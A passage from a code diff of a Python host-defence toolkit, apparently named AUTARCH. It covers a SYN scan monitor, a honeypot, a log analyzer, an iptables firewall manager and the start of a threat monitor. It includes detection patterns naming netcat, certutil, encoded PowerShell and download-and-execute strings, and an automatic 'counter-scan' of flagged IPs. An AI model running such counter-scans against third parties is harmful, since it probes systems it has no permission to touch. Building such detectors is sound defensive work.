as f: + f.write(f"\n--- Counter-scan {ip} at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} ---\n") + f.write(output) + f.write("\n") + + except subprocess.TimeoutExpired: + print(f" {Colors.YELLOW}[!] Counter-scan {ip} timed out{Colors.RESET}") + except Exception as e: + print(f" {Colors.RED}[X] Counter-scan {ip} failed: {e}{Colors.RESET}") + + def _monitor_with_tcpdump(self, counter_scan: bool, whitelist: list): + """Core monitoring loop using tcpdump.""" + log_file = "results/scan_monitor.log" + + # Get local IPs to skip + local_ips = {'127.0.0.1'} + try: + hostname = socket.gethostname() + local_ips.add(socket.gethostbyname(hostname)) + except: + pass + try: + result = subprocess.run( + "hostname -I", shell=True, capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + for ip in result.stdout.strip().split(): + local_ips.add(ip.strip()) + except: + pass + + # Display header + print(f"\n{Colors.BOLD} Scan Monitor Active {Colors.RED}[Ctrl+C to stop]{Colors.RESET}") + print(f" {Colors.CYAN}{'─' * 50}{Colors.RESET}") + counter_str = f"{Colors.GREEN}Enabled{Colors.RESET}" if counter_scan else f"{Colors.RED}Disabled{Colors.RESET}" + print(f" Counter-scan: {counter_str} | Log: {log_file}") + if whitelist: + print(f" Whitelisted: {', '.join(whitelist)}") + print(f" Local IPs: {', '.join(sorted(local_ips))}") + print(f" Monitoring on all interfaces...\n") + + # SYN-only filter: tcp-syn set AND tcp-ack NOT set + # Use sudo if not root (tcpdump needs packet capture privileges) + if os.geteuid() == 0: + tcpdump_cmd = [ + "tcpdump", "-i", "any", "-n", "-l", "--immediate-mode", + "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0" + ] + else: + tcpdump_cmd = [ + "sudo", "tcpdump", "-i", "any", "-n", "-l", "--immediate-mode", + "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0" + ] + + # Tracking dict per source IP + trackers = {} + packet_re = re.compile(r'IP (\d+\.\d+\.\d+\.\d+)\.\d+ > [\d.]+\.(\d+):') + total_packets = 0 + threats_detected = 0 + ips_logged = set() + last_prune = time.time() + + proc = None + try: + proc = subprocess.Popen( + tcpdump_cmd, + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + + for raw_line in iter(proc.stdout.readline, b''): + line = raw_line.decode('utf-8', errors='ignore').strip() + if not line: + continue + + m = packet_re.search(line) + if not m: + continue + + src_ip = m.group(1) + dst_port = int(m.group(2)) + total_packets += 1 + now = time.time() + + # Skip whitelisted and local + if src_ip in whitelist or src_ip in local_ips: + continue + + # Update tracker + if src_ip not in trackers: + trackers[src_ip] = { + 'ports': set(), + 'port_counts': {}, + 'first_seen': now, + 'last_seen': now, + 'alerted_scan': False, + 'alerted_brute': set(), + } + + t = trackers[src_ip] + t['ports'].add(dst_port) + t['port_counts'][dst_port] = t['port_counts'].get(dst_port, 0) + 1 + t['last_seen'] = now + + # Check port scan threshold: 10+ unique ports in 30s + if not t['alerted_scan'] and len(t['ports']) >= 10: + elapsed = now - t['first_seen'] + if elapsed <= 30: + t['alerted_scan'] = True + threats_detected += 1 + ips_logged.add(src_ip) + ts = datetime.now().strftime('%H:%M:%S') + msg = f"PORT SCAN detected from {src_ip} ({len(t['ports'])} ports in {int(elapsed)}s)" + print(f" {ts} {Colors.RED}[!] {msg}{Colors.RESET}") + + with open(log_file, 'a') as f: + f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n") + + if counter_scan: + thread = threading.Thread( + target=self._counter_scan, args=(src_ip, log_file), daemon=True + ) + thread.start() + + # Check brute force threshold: 15+ connections to single port in 60s + for port, count in t['port_counts'].items(): + if port not in t['alerted_brute'] and count >= 15: + elapsed = now - t['first_seen'] + if elapsed <= 60: + t['alerted_brute'].add(port) + threats_detected += 1 + ips_logged.add(src_ip) + ts = datetime.now().strftime('%H:%M:%S') + msg = f"BRUTE FORCE detected from {src_ip} ({count} connections to port {port} in {int(elapsed)}s)" + print(f" {ts} {Colors.YELLOW}[!] {msg}{Colors.RESET}") + + with open(log_file, 'a') as f: + f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n") + + if counter_scan: + thread = threading.Thread( + target=self._counter_scan, args=(src_ip, log_file), daemon=True + ) + thread.start() + + # Prune stale entries every 5 seconds + if now - last_prune >= 5: + stale = [ip for ip, tr in trackers.items() if now - tr['last_seen'] > 120] + for ip in stale: + del trackers[ip] + last_prune = now + + except KeyboardInterrupt: + pass + finally: + if proc: + proc.kill() + proc.wait() + + # Summary + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Scan Monitor Summary{Colors.RESET}") + print(f" Total SYN packets: {total_packets}") + print(f" Threats detected: {threats_detected}") + print(f" Unique attacker IPs: {len(ips_logged)}") + if ips_logged: + print(f" IPs logged: {', '.join(sorted(ips_logged))}") + print(f" Log file: {log_file}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + # ==================== HONEYPOT ==================== + + HONEYPOT_BANNERS = { + 22: "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5\r\n", + 21: "220 FTP server ready.\r\n", + 80: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.41\r\n\r\nIt works!", + 23: "\xff\xfb\x01\xff\xfb\x03", + 3389: "", + 25: "220 mail.example.com ESMTP\r\n", + 3306: "5.7.38-0ubuntu0.20.04.1\x00", + } + + def honeypot(self): + """Honeypot setup submenu.""" + print(f"\n{Colors.BOLD}Honeypot Setup{Colors.RESET}") + print(f"{Colors.DIM}Deploy fake service listeners to trap scanners{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + port_input = input(f"{Colors.WHITE}Ports to listen on [{Colors.GREEN}22,21,80,23,3389,25,3306{Colors.WHITE}]: {Colors.RESET}").strip() + if not port_input: + port_input = "22,21,80,23,3389,25,3306" + + try: + ports = [int(p.strip()) for p in port_input.split(',')] + except ValueError: + self.print_status("Invalid port list", "error") + return + + log_input = input(f"{Colors.WHITE}Enable logging? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + enable_log = log_input != 'n' + + os.makedirs("results", exist_ok=True) + log_file = "results/honeypot.log" if enable_log else None + + port_config = {} + for p in ports: + port_config[p] = self.HONEYPOT_BANNERS.get(p, "") + + self._run_honeypot(port_config, log_file) + + def _run_honeypot(self, ports: dict, log_file: str): + """Start honeypot listeners on configured ports.""" + connections = [] + sockets_list = [] + threads = [] + + print(f"\n{Colors.BOLD} Honeypot Active {Colors.RED}[Ctrl+C to stop]{Colors.RESET}") + print(f" {Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" Listening on ports: {', '.join(str(p) for p in ports.keys())}") + if log_file: + print(f" Log file: {log_file}") + print() + + for port, banner in ports.items(): + t = threading.Thread( + target=self._honeypot_listener, + args=(port, banner, log_file, connections, sockets_list), + daemon=True + ) + threads.append(t) + t.start() + + try: + while True: + time.sleep(1) + except KeyboardInterrupt: + pass + + # Close all sockets + for s in sockets_list: + try: + s.close() + except: + pass + + # Summary + unique_ips = set(c['ip'] for c in connections) + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Honeypot Summary{Colors.RESET}") + print(f" Total connections: {len(connections)}") + print(f" Unique IPs: {len(unique_ips)}") + if unique_ips: + print(f" IPs seen: {', '.join(sorted(unique_ips))}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + def _honeypot_listener(self, port: int, banner: str, log_file: str, connections: list, sockets_list: list): + """Listen on a single port for honeypot connections.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(('0.0.0.0', port)) + s.listen(5) + sockets_list.append(s) + except OSError as e: + self.print_status(f"Cannot bind port {port}: {e}", "error") + return + + while True: + try: + conn, addr = s.accept() + ip = addr[0] + ts = datetime.now().strftime('%H:%M:%S') + + try: + data = conn.recv(1024) + data_len = len(data) + except: + data_len = 0 + + connections.append({'ip': ip, 'port': port, 'time': ts}) + + print(f" {ts} {Colors.RED}[TRAP]{Colors.RESET} Connection from {Colors.YELLOW}{ip}{Colors.RESET} on port {Colors.CYAN}{port}{Colors.RESET}") + + if log_file: + try: + with open(log_file, 'a') as f: + f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] HONEYPOT src={ip} port={port} data_len={data_len}\n") + except: + pass + + if banner: + try: + conn.send(banner.encode() if isinstance(banner, str) else banner) + except: + pass + + conn.close() + except OSError: + break + + # ==================== LOG ANALYZER ==================== + + def log_analyzer(self): + """Log analyzer submenu.""" + print(f"\n{Colors.BOLD}Log Analyzer{Colors.RESET}") + print(f"{Colors.DIM}Parse system logs for security threats{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.BLUE}[1]{Colors.RESET} Auth Log Analysis") + print(f" {Colors.BLUE}[2]{Colors.RESET} Web Log Analysis") + print(f" {Colors.BLUE}[3]{Colors.RESET} All Logs") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + auth_results = [] + web_results = [] + + if choice == "1": + auth_results = self._analyze_auth_log() + self._display_log_summary(auth_results, []) + elif choice == "2": + web_results = self._analyze_web_logs() + self._display_log_summary([], web_results) + elif choice == "3": + auth_results = self._analyze_auth_log() + web_results = self._analyze_web_logs() + self._display_log_summary(auth_results, web_results) + + def _analyze_auth_log(self) -> list: + """Analyze auth.log for failed login attempts.""" + self.print_status("Analyzing authentication logs...", "info") + + failed_re = re.compile(r'Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)') + ip_data = {} + + for log_path in ['/var/log/auth.log', '/var/log/auth.log.1']: + if not os.path.exists(log_path): + continue + try: + with open(log_path, 'r', errors='ignore') as f: + for line in f: + m = failed_re.search(line) + if m: + username = m.group(1) + ip = m.group(2) + if ip not in ip_data: + ip_data[ip] = {'count': 0, 'usernames': set(), 'timestamps': []} + ip_data[ip]['count'] += 1 + ip_data[ip]['usernames'].add(username) + except PermissionError: + self.print_status(f"Permission denied: {log_path} (try with sudo)", "warning") + except Exception as e: + self.print_status(f"Error reading {log_path}: {e}", "error") + + results = [] + for ip, data in ip_data.items(): + results.append({ + 'ip': ip, + 'count': data['count'], + 'usernames': list(data['usernames']), + }) + + results.sort(key=lambda x: x['count'], reverse=True) + return results + + def _analyze_web_logs(self) -> list: + """Analyze web server logs for suspicious activity.""" + self.print_status("Analyzing web server logs...", "info") + + findings = [] + web_logs = ['/var/log/apache2/access.log', '/var/log/nginx/access.log'] + + sqli_patterns = re.compile(r"(union\s+select|or\s+1\s*=\s*1|'\s*or\s*'|drop\s+table|--\s*$)", re.IGNORECASE) + traversal_pattern = re.compile(r'\.\./|\.\.\\') + + for log_path in web_logs: + if not os.path.exists(log_path): + continue + + ip_requests = {} + ip_errors = {} + + try: + with open(log_path, 'r', errors='ignore') as f: + for line in f: + # Extract IP + ip_match = re.match(r'^(\d+\.\d+\.\d+\.\d+)', line) + if not ip_match: + continue + ip = ip_match.group(1) + + ip_requests[ip] = ip_requests.get(ip, 0) + 1 + + # Check for 4xx status + status_match = re.search(r'" (\d{3}) ', line) + if status_match: + status = int(status_match.group(1)) + if 400 <= status < 500: + ip_errors[ip] = ip_errors.get(ip, 0) + 1 + + # Check for path traversal + if traversal_pattern.search(line): + findings.append({'type': 'Path Traversal', 'ip': ip, 'detail': line.strip()[:120], 'severity': 'HIGH'}) + + # Check for SQL injection + if sqli_patterns.search(line): + findings.append({'type': 'SQL Injection Attempt', 'ip': ip, 'detail': line.strip()[:120], 'severity': 'HIGH'}) + + # High request rate + for ip, count in ip_requests.items(): + if count > 1000: + findings.append({'type': 'High Request Rate', 'ip': ip, 'detail': f'{count} requests', 'severity': 'MEDIUM'}) + + # 4xx floods + for ip, count in ip_errors.items(): + if count > 100: + findings.append({'type': '4xx Error Flood', 'ip': ip, 'detail': f'{count} error responses', 'severity': 'MEDIUM'}) + + except PermissionError: + self.print_status(f"Permission denied: {log_path}", "warning") + except Exception as e: + self.print_status(f"Error reading {log_path}: {e}", "error") + + return findings + + def _geoip_lookup(self, ip: str) -> dict: + """Look up GeoIP information for an IP address.""" + try: + success, output = self.run_cmd(f"curl -s 'http://ip-api.com/json/{ip}'") + if success and output: + data = json.loads(output) + return { + 'country': data.get('country', 'Unknown'), + 'city': data.get('city', 'Unknown'), + 'isp': data.get('isp', 'Unknown'), + } + except: + pass + return {'country': 'Unknown', 'city': 'Unknown', 'isp': 'Unknown'} + + def _display_log_summary(self, auth_results: list, web_results: list): + """Display log analysis summary.""" + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Log Analysis Summary{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}") + + if auth_results: + total_failures = sum(r['count'] for r in auth_results) + print(f"\n {Colors.RED}Total failed logins: {total_failures}{Colors.RESET}") + + # Most targeted usernames + all_users = {} + for r in auth_results: + for u in r['usernames']: + all_users[u] = all_users.get(u, 0) + 1 + top_users = sorted(all_users.items(), key=lambda x: -x[1])[:5] + if top_users: + print(f"\n {Colors.CYAN}Most targeted usernames:{Colors.RESET}") + for user, count in top_users: + print(f" {user:20} {count} attempts") + + # Top attacker IPs with GeoIP + print(f"\n {Colors.CYAN}Top 10 Attacker IPs:{Colors.RESET}") + print(f" {'IP':<18} {'Attempts':>8} {'Users':>5} {'Country':<15} {'ISP'}") + print(f" {'─' * 70}") + for r in auth_results[:10]: + geo = self._geoip_lookup(r['ip']) + print(f" {r['ip']:<18} {r['count']:>8} {len(r['usernames']):>5} {geo['country']:<15} {geo['isp'][:25]}") + time.sleep(0.5) # Rate limit GeoIP API + + # Offer to block + if auth_results: + block = input(f"\n{Colors.WHITE}Block top attacker IPs via firewall? (y/n): {Colors.RESET}").strip().lower() + if block == 'y': + for r in auth_results[:10]: + self._fw_block_ip(r['ip']) + + if web_results: + print(f"\n {Colors.CYAN}Web Log Findings:{Colors.RESET}") + for finding in web_results[:20]: + sev_color = Colors.RED if finding['severity'] == 'HIGH' else Colors.YELLOW + print(f" {sev_color}[{finding['severity']}]{Colors.RESET} {finding['type']} from {finding['ip']}") + print(f" {Colors.DIM}{finding['detail'][:80]}{Colors.RESET}") + + if not auth_results and not web_results: + self.print_status("No findings from log analysis", "info") + + # ==================== FIREWALL MANAGER ==================== + + def firewall_manager(self): + """Interactive firewall rule manager.""" + while True: + print(f"\n{Colors.BOLD}Firewall Manager{Colors.RESET}") + print(f"{Colors.DIM}Interactive iptables rule builder{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.BLUE}[1]{Colors.RESET} View Rules") + print(f" {Colors.BLUE}[2]{Colors.RESET} Block IP") + print(f" {Colors.BLUE}[3]{Colors.RESET} Unblock IP") + print(f" {Colors.BLUE}[4]{Colors.RESET} Rate Limit Port") + print(f" {Colors.BLUE}[5]{Colors.RESET} Import from Scan Log") + print(f" {Colors.BLUE}[6]{Colors.RESET} Save Ruleset") + print(f" {Colors.BLUE}[7]{Colors.RESET} Restore Ruleset") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self._fw_view_rules() + elif choice == "2": + self._fw_block_ip() + elif choice == "3": + self._fw_unblock_ip() + elif choice == "4": + self._fw_rate_limit() + elif choice == "5": + self._fw_import_from_scanlog() + elif choice == "6": + self._fw_save_rules() + elif choice == "7": + self._fw_restore_rules() + + if choice in ["1", "2", "3", "4", "5", "6", "7"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def _fw_view_rules(self): + """View current iptables rules with color coding.""" + print(f"\n{Colors.BOLD}Current Firewall Rules{Colors.RESET}\n") + success, output = self.run_cmd("sudo iptables -L -n --line-numbers") + if success and output: + for line in output.split('\n'): + if 'DROP' in line: + print(f" {Colors.RED}{line}{Colors.RESET}") + elif 'ACCEPT' in line: + print(f" {Colors.GREEN}{line}{Colors.RESET}") + elif 'Chain' in line: + print(f" {Colors.CYAN}{Colors.BOLD}{line}{Colors.RESET}") + else: + print(f" {line}") + else: + self.print_status("Failed to read iptables rules (need sudo?)", "error") + + def _fw_block_ip(self, ip: str = None): + """Block an IP address with iptables.""" + if ip is None: + ip = input(f"{Colors.WHITE}IP to block: {Colors.RESET}").strip() + if not ip: + return + + success, _ = self.run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP") + if success: + self.print_status(f"Blocked {ip}", "success") + else: + self.print_status(f"Failed to block {ip}", "error") + + def _fw_unblock_ip(self): + """Unblock an IP address.""" + # Show current DROP rules + success, output = self.run_cmd("sudo iptables -L INPUT -n --line-numbers") + if not success: + self.print_status("Failed to read rules", "error") + return + + drop_rules = [] + for line in output.split('\n'): + if 'DROP' in line: + drop_rules.append(line) + print(f" {Colors.RED}{line}{Colors.RESET}") + + if not drop_rules: + self.print_status("No DROP rules found", "info") + return + + ip = input(f"\n{Colors.WHITE}IP to unblock: {Colors.RESET}").strip() + if ip: + success, _ = self.run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP") + if success: + self.print_status(f"Unblocked {ip}", "success") + else: + self.print_status(f"Failed to unblock {ip}", "error") + + def _fw_rate_limit(self): + """Add rate limiting rule for a port.""" + port = input(f"{Colors.WHITE}Port to rate limit: {Colors.RESET}").strip() + rate = input(f"{Colors.WHITE}Max connections per minute [{Colors.GREEN}25{Colors.WHITE}]: {Colors.RESET}").strip() or "25" + + if not port: + return + + try: + int(port) + int(rate) + except ValueError: + self.print_status("Invalid port or rate", "error") + return + + # Add limit rule then drop excess + cmd1 = f"sudo iptables -A INPUT -p tcp --dport {port} -m limit --limit {rate}/min --limit-burst 50 -j ACCEPT" + cmd2 = f"sudo iptables -A INPUT -p tcp --dport {port} -j DROP" + + s1, _ = self.run_cmd(cmd1) + s2, _ = self.run_cmd(cmd2) + + if s1 and s2: + self.print_status(f"Rate limit set: port {port} max {rate}/min", "success") + else: + self.print_status("Failed to set rate limit", "error") + + def _fw_import_from_scanlog(self): + """Import IPs from scan monitor log.""" + log_file = "results/scan_monitor.log" + if not os.path.exists(log_file): + self.print_status("No scan monitor log found", "warning") + return + + ip_re = re.compile(r'detected from (\d+\.\d+\.\d+\.\d+)') + ips = set() + + with open(log_file, 'r') as f: + for line in f: + m = ip_re.search(line) + if m: + ips.add(m.group(1)) + + if not ips: + self.print_status("No attacker IPs found in scan log", "info") + return + + print(f"\n{Colors.CYAN}Found {len(ips)} attacker IPs in scan log:{Colors.RESET}") + for ip in sorted(ips): + print(f" {Colors.RED}{ip}{Colors.RESET}") + + confirm = input(f"\n{Colors.WHITE}Block all {len(ips)} IPs? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + for ip in ips: + self._fw_block_ip(ip) + + def _fw_save_rules(self): + """Save current iptables rules to file.""" + os.makedirs("results", exist_ok=True) + filename = f"results/iptables_{datetime.now().strftime('%Y%m%d_%H%M%S')}.rules" + success, output = self.run_cmd("sudo iptables-save") + if success and output: + with open(filename, 'w') as f: + f.write(output) + self.print_status(f"Rules saved to {filename}", "success") + else: + self.print_status("Failed to save rules", "error") + + def _fw_restore_rules(self): + """Restore iptables rules from file.""" + # List saved rule files + rule_files = sorted(Path("results").glob("iptables_*.rules")) if Path("results").exists() else [] + if not rule_files: + self.print_status("No saved rulesets found", "warning") + return + + print(f"\n{Colors.CYAN}Saved Rulesets:{Colors.RESET}") + for i, f in enumerate(rule_files, 1): + print(f" {Colors.BLUE}[{i}]{Colors.RESET} {f.name}") + + choice = input(f"\n{Colors.WHITE}Select ruleset: {Colors.RESET}").strip() + try: + idx = int(choice) - 1 + if 0 <= idx < len(rule_files): + success, _ = self.run_cmd(f"sudo iptables-restore < {rule_files[idx]}") + if success: + self.print_status(f"Rules restored from {rule_files[idx].name}", "success") + else: + self.print_status("Failed to restore rules", "error") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + def show_menu(self): + """Display defender menu.""" + clear_screen() + display_banner() + + print(f"{Colors.BLUE}{Colors.BOLD} System Defender{Colors.RESET}") + print(f"{Colors.DIM} Security hardening assessment{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[M]{Colors.RESET} {Colors.BOLD}My System{Colors.RESET} - Full audit with CVE detection & auto-fix") + print() + print(f" {Colors.BLUE}[1]{Colors.RESET} Quick Security Audit") + print(f" {Colors.BLUE}[2]{Colors.RESET} Firewall Check") + print(f" {Colors.BLUE}[3]{Colors.RESET} SSH Hardening Check") + print(f" {Colors.BLUE}[4]{Colors.RESET} Open Ports Scan") + print(f" {Colors.BLUE}[5]{Colors.RESET} User Security Check") + print(f" {Colors.BLUE}[6]{Colors.RESET} File Permissions Check") + print(f" {Colors.BLUE}[7]{Colors.RESET} Service Audit") + print(f" {Colors.BLUE}[8]{Colors.RESET} Scan Monitor - Detect & counter incoming scans") + print(f" {Colors.BLUE}[9]{Colors.RESET} Honeypot - Fake service listeners to trap scanners") + print() + print(f" {Colors.MAGENTA}[A]{Colors.RESET} Firewall Manager - Interactive iptables rule builder") + print(f" {Colors.MAGENTA}[B]{Colors.RESET} Log Analyzer - Parse system logs for threats") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def full_audit(self): + """Run all checks.""" + print(f"\n{Colors.BOLD}Running Full Security Audit...{Colors.RESET}\n") + self.results = [] + + self.check_firewall() + self.check_ssh_config() + self.check_open_ports() + self.check_updates() + self.check_users() + self.check_permissions() + self.check_services() + self.check_fail2ban() + self.check_selinux() + + # Summary + passed = sum(1 for r in self.results if r['passed']) + total = len(self.results) + score = int((passed / total) * 100) if total > 0 else 0 + + print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Security Score: {score}% ({passed}/{total} checks passed){Colors.RESET}") + + if score >= 80: + print(f"{Colors.GREEN}Status: Good security posture{Colors.RESET}") + elif score >= 50: + print(f"{Colors.YELLOW}Status: Needs improvement{Colors.RESET}") + else: + print(f"{Colors.RED}Status: Critical - immediate action required{Colors.RESET}") + + def run(self): + """Main loop.""" + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0": + break + elif choice == "m": + # Launch My System module + try: + from modules.mysystem import MySystem + MySystem().run() + except ImportError as e: + print(f"{Colors.RED}[X] Failed to load My System module: {e}{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + continue + elif choice == "1": + self.full_audit() + elif choice == "2": + print() + self.results = [] + self.check_firewall() + elif choice == "3": + print() + self.results = [] + self.check_ssh_config() + elif choice == "4": + print() + self.results = [] + self.check_open_ports() + elif choice == "5": + print() + self.results = [] + self.check_users() + elif choice == "6": + print() + self.results = [] + self.check_permissions() + elif choice == "7": + print() + self.results = [] + self.check_services() + self.check_fail2ban() + self.check_selinux() + elif choice == "8": + self.scan_monitor() + elif choice == "9": + self.honeypot() + elif choice == "a": + self.firewall_manager() + continue + elif choice == "b": + self.log_analyzer() + + if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Defender().run() + + +if __name__ == "__main__": + run() diff --git a/modules/defender_monitor.py b/modules/defender_monitor.py new file mode 100644 index 0000000..eb9d43d --- /dev/null +++ b/modules/defender_monitor.py @@ -0,0 +1,1162 @@ +""" +AUTARCH Threat Monitor Module +Real-time threat detection, monitoring, and counter-attack + +Cross-platform network monitoring with active response capabilities. +""" + +import os +import sys +import subprocess +import re +import json +import time +import platform +import urllib.request +from pathlib import Path +from datetime import datetime +from collections import defaultdict + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# Module metadata +DESCRIPTION = "Real-time threat detection & counter-attack" +AUTHOR = "darkHal" +VERSION = "2.0" +CATEGORY = "defense" + +_is_win = platform.system() == 'Windows' + + +class ThreatMonitor: + """Cross-platform real-time threat monitoring.""" + + def __init__(self): + self._data_dir = Path(__file__).parent.parent / 'data' + self._blocklist_path = self._data_dir / 'blocklist.json' + self._ddos_config_path = self._data_dir / 'ddos_config.json' + self._mitigation_log_path = self._data_dir / 'mitigation_log.json' + + # In-memory state for tracking + self._prev_bandwidth = {} + self._prev_listening_ports = set() + self._prev_listening_initialized = False + self._connection_rate_history = [] + self._arp_table_cache = {} + self._geoip_cache = {} + + # Process name cache to avoid repeated tasklist calls + self._proc_name_cache = {} + self._proc_name_cache_time = 0 + + def run_cmd(self, cmd: str, timeout=15) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, + text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception: + return False, "" + + def run_ps(self, ps_command: str, timeout=15) -> tuple: + """Run a PowerShell command (Windows only).""" + cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command "{ps_command}"' + return self.run_cmd(cmd, timeout=timeout) + + # ==================== MONITORING ==================== + + def get_connections(self): + """Get active network connections with process info.""" + connections = [] + + if _is_win: + success, output = self.run_ps( + "Get-NetTCPConnection -ErrorAction SilentlyContinue | " + "Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | " + "ConvertTo-Json -Depth 2" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for c in data: + pid = c.get('OwningProcess', 0) + proc_name = self._get_process_name_win(pid) + connections.append({ + 'local_addr': c.get('LocalAddress', ''), + 'local_port': c.get('LocalPort', 0), + 'remote_addr': c.get('RemoteAddress', ''), + 'remote_port': c.get('RemotePort', 0), + 'state': c.get('State', ''), + 'pid': pid, + 'process': proc_name, + }) + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd("ss -tnp 2>/dev/null") + if success: + for line in output.split('\n')[1:]: + parts = line.split() + if len(parts) >= 5: + state = parts[0] + local = parts[3] + remote = parts[4] + proc_info = parts[5] if len(parts) > 5 else "" + + local_parts = local.rsplit(':', 1) + remote_parts = remote.rsplit(':', 1) + + pid_match = re.search(r'pid=(\d+)', proc_info) + proc_match = re.search(r'"([^"]+)"', proc_info) + + connections.append({ + 'local_addr': local_parts[0] if len(local_parts) > 1 else '', + 'local_port': int(local_parts[1]) if len(local_parts) > 1 else 0, + 'remote_addr': remote_parts[0] if len(remote_parts) > 1 else '', + 'remote_port': int(remote_parts[1]) if len(remote_parts) > 1 else 0, + 'state': state, + 'pid': int(pid_match.group(1)) if pid_match else 0, + 'process': proc_match.group(1) if proc_match else '', + }) + + return connections + + def _get_process_name_win(self, pid): + """Get process name from PID on Windows (cached).""" + if not pid: + return "" + # Refresh cache every 10 seconds + now = time.time() + if now - self._proc_name_cache_time > 10: + self._proc_name_cache.clear() + self._proc_name_cache_time = now + # Bulk fetch all process names in one call + success, output = self.run_cmd('tasklist /FO CSV /NH', timeout=10) + if success and output.strip(): + for line in output.strip().split('\n'): + parts = line.strip().split(',') + if len(parts) >= 2: + name = parts[0].strip('"') + p = parts[1].strip('"') + if p.isdigit(): + self._proc_name_cache[int(p)] = name + return self._proc_name_cache.get(int(pid), "") + + def check_port_scan_indicators(self): + """Detect port scan patterns in active connections.""" + connections = self.get_connections() + indicators = [] + + # Group connections by remote IP + ip_connections = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_connections.setdefault(rip, []).append(c) + + for ip, conns in ip_connections.items(): + # Many connections from single IP to different local ports = scan + local_ports = set(c['local_port'] for c in conns) + syn_conns = [c for c in conns if 'SYN' in str(c.get('state', '')).upper() + or 'TimeWait' in str(c.get('state', ''))] + + if len(local_ports) > 10: + indicators.append({ + 'type': 'port_scan', + 'ip': ip, + 'ports_targeted': len(local_ports), + 'total_connections': len(conns), + 'severity': 'HIGH', + 'detail': f"{ip} connected to {len(local_ports)} different ports", + }) + elif len(syn_conns) > 5: + indicators.append({ + 'type': 'syn_flood', + 'ip': ip, + 'syn_count': len(syn_conns), + 'severity': 'HIGH', + 'detail': f"{ip} has {len(syn_conns)} SYN/half-open connections", + }) + + return indicators + + def get_suspicious_processes(self): + """Identify suspicious processes.""" + suspicious = [] + + if _is_win: + success, output = self.run_ps( + "Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | " + "Select-Object ProcessId, Name, CommandLine, " + "@{N='CPU';E={$_.KernelModeTime + $_.UserModeTime}} | " + "ConvertTo-Json -Depth 2" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + suspicious_names = { + 'nc.exe', 'ncat.exe', 'netcat.exe', 'powershell.exe', + 'cmd.exe', 'mshta.exe', 'wscript.exe', 'cscript.exe', + 'regsvr32.exe', 'rundll32.exe', 'certutil.exe', + } + for proc in data: + name = (proc.get('Name') or '').lower() + cmdline = proc.get('CommandLine') or '' + if name in suspicious_names and cmdline: + # Check for suspicious command line patterns + sus_patterns = ['-e cmd', '-e powershell', 'bypass', 'hidden', + 'downloadstring', 'invoke-expression', 'iex', + 'encodedcommand', '-enc ', 'base64'] + for pat in sus_patterns: + if pat.lower() in cmdline.lower(): + suspicious.append({ + 'pid': proc.get('ProcessId', 0), + 'name': proc.get('Name', ''), + 'cmdline': cmdline[:200], + 'reason': 